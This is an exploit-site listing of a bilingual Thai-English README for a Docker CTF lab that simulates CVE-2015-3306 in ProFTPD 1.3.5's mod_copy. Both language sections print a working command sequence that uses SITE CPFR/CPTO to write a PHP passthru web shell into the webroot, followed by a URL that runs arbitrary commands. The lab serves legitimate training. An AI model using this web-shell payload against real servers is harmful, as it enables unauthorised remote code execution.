Sploitus

Exploit for CVE-2015-3306-Home-Lab

kitploit · 2026-08-31

Exploit Code

MARKDOWN141 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NETW0RK7-CVE-2015-3306-HOME-LAB
# ENGLISH BELOW

# ProFTPD 1.3.5 (mod_copy) — RCE Simulation Lab

![CVE20153306](https://assets.kitploit.com/production/public/readmes/29870/04bf2218bfb05345fd22253394d197e84fec0129a2e79ee809c3dbeedfb7e542.png)

Lab นี้ถูกออกแบบเพื่อจำลองช่องโหว่ **CVE-2015-3306 — ProFTPD mod_copy Remote File Copy to RCE**  
ใช้สำหรับเรียนรู้ **Web Shell Injection RCE** ผ่านโมดูล `mod_copy` ของ ProFTPD

* * *

## Features

  * ProFTPD 1.3.5 แบบ Vulnerable
  * เปิดใช้ `mod_copy` เต็มรูปแบบ (`SITE CPFR` / `SITE CPTO`)
  * รองรับ Anonymous FTP
  * Apache2 + PHP5 สำหรับจำลอง web root `/var/www/html`
  * ผู้โจมตีสามารถใช้ SITE CPFR/CPTO เพื่อ **copy file ไปยัง webroot เพื่อที่จะ trigger RCE**
  * ระบบสร้าง `flag_RANDOM.txt` อัตโนมัติทุกครั้งที่ container start
  * เป็น Lab สำหรับ CTF / Red Team / Pentest Training



* * *

## Directory Structure

root@kitploit:~
    
    
    /etc/proftpd/proftpd.conf
    /usr/local/proftpd/
    /var/www/html/
    /tmp/flag_xxx.txt
    /entrypoint.sh
    

* * *

## การใช้งาน (Run Container)

root@kitploit:~
    
    
    docker build -t sentinel7-proftpd-lab .
    docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab
    

* * *

## วิธีทดสอบช่องโหว่ CVE-2015-3306

root@kitploit:~
    
    
    nc <IP> 21
    SITE CPFR /proc/self/cmdline
    SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
    
    SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
    SITE CPTO /var/www/html/webshell.php
    

เปิดผ่านเว็บ:

root@kitploit:~
    
    
    http://<IP>/webshell.php?cmd=<command>
    

* * *

## Flag

เก็บไว้ใน:

root@kitploit:~
    
    
    /tmp/flag_RANDOM.txt
    

* * *

# English Version — ProFTPD 1.3.5 (mod_copy) RCE Lab

This lab simulates **CVE-2015-3306** using ProFTPD 1.3.5 with `mod_copy`, allowing attackers to perform **ProFTPD mod_copy Remote File Copy to RCE**.

* * *

## Features

  * Vulnerable ProFTPD 1.3.5 compiled from source
  * `mod_copy` enabled (`SITE CPFR` \+ `SITE CPTO`)
  * Anonymous FTP access
  * Apache2 + PHP5 for webshell execution
  * Auto-generated `flag_RANDOM.txt` at container start
  * Perfect for CTF, education, and exploit research



* * *

## Exploit Testing Example

root@kitploit:~
    
    
    nc <IP> 21
    SITE CPFR /proc/self/cmdline
    SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
    
    SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
    SITE CPTO /var/www/html/webshell.php
    

Then execute:

root@kitploit:~
    
    
    http://<IP>/webshell.php?cmd=<command>
    

* * *

## Flag Location

root@kitploit:~
    
    
    /tmp/flag_RANDOM.txt
    

* * *

## Disclaimer

For educational and authorized penetration testing only.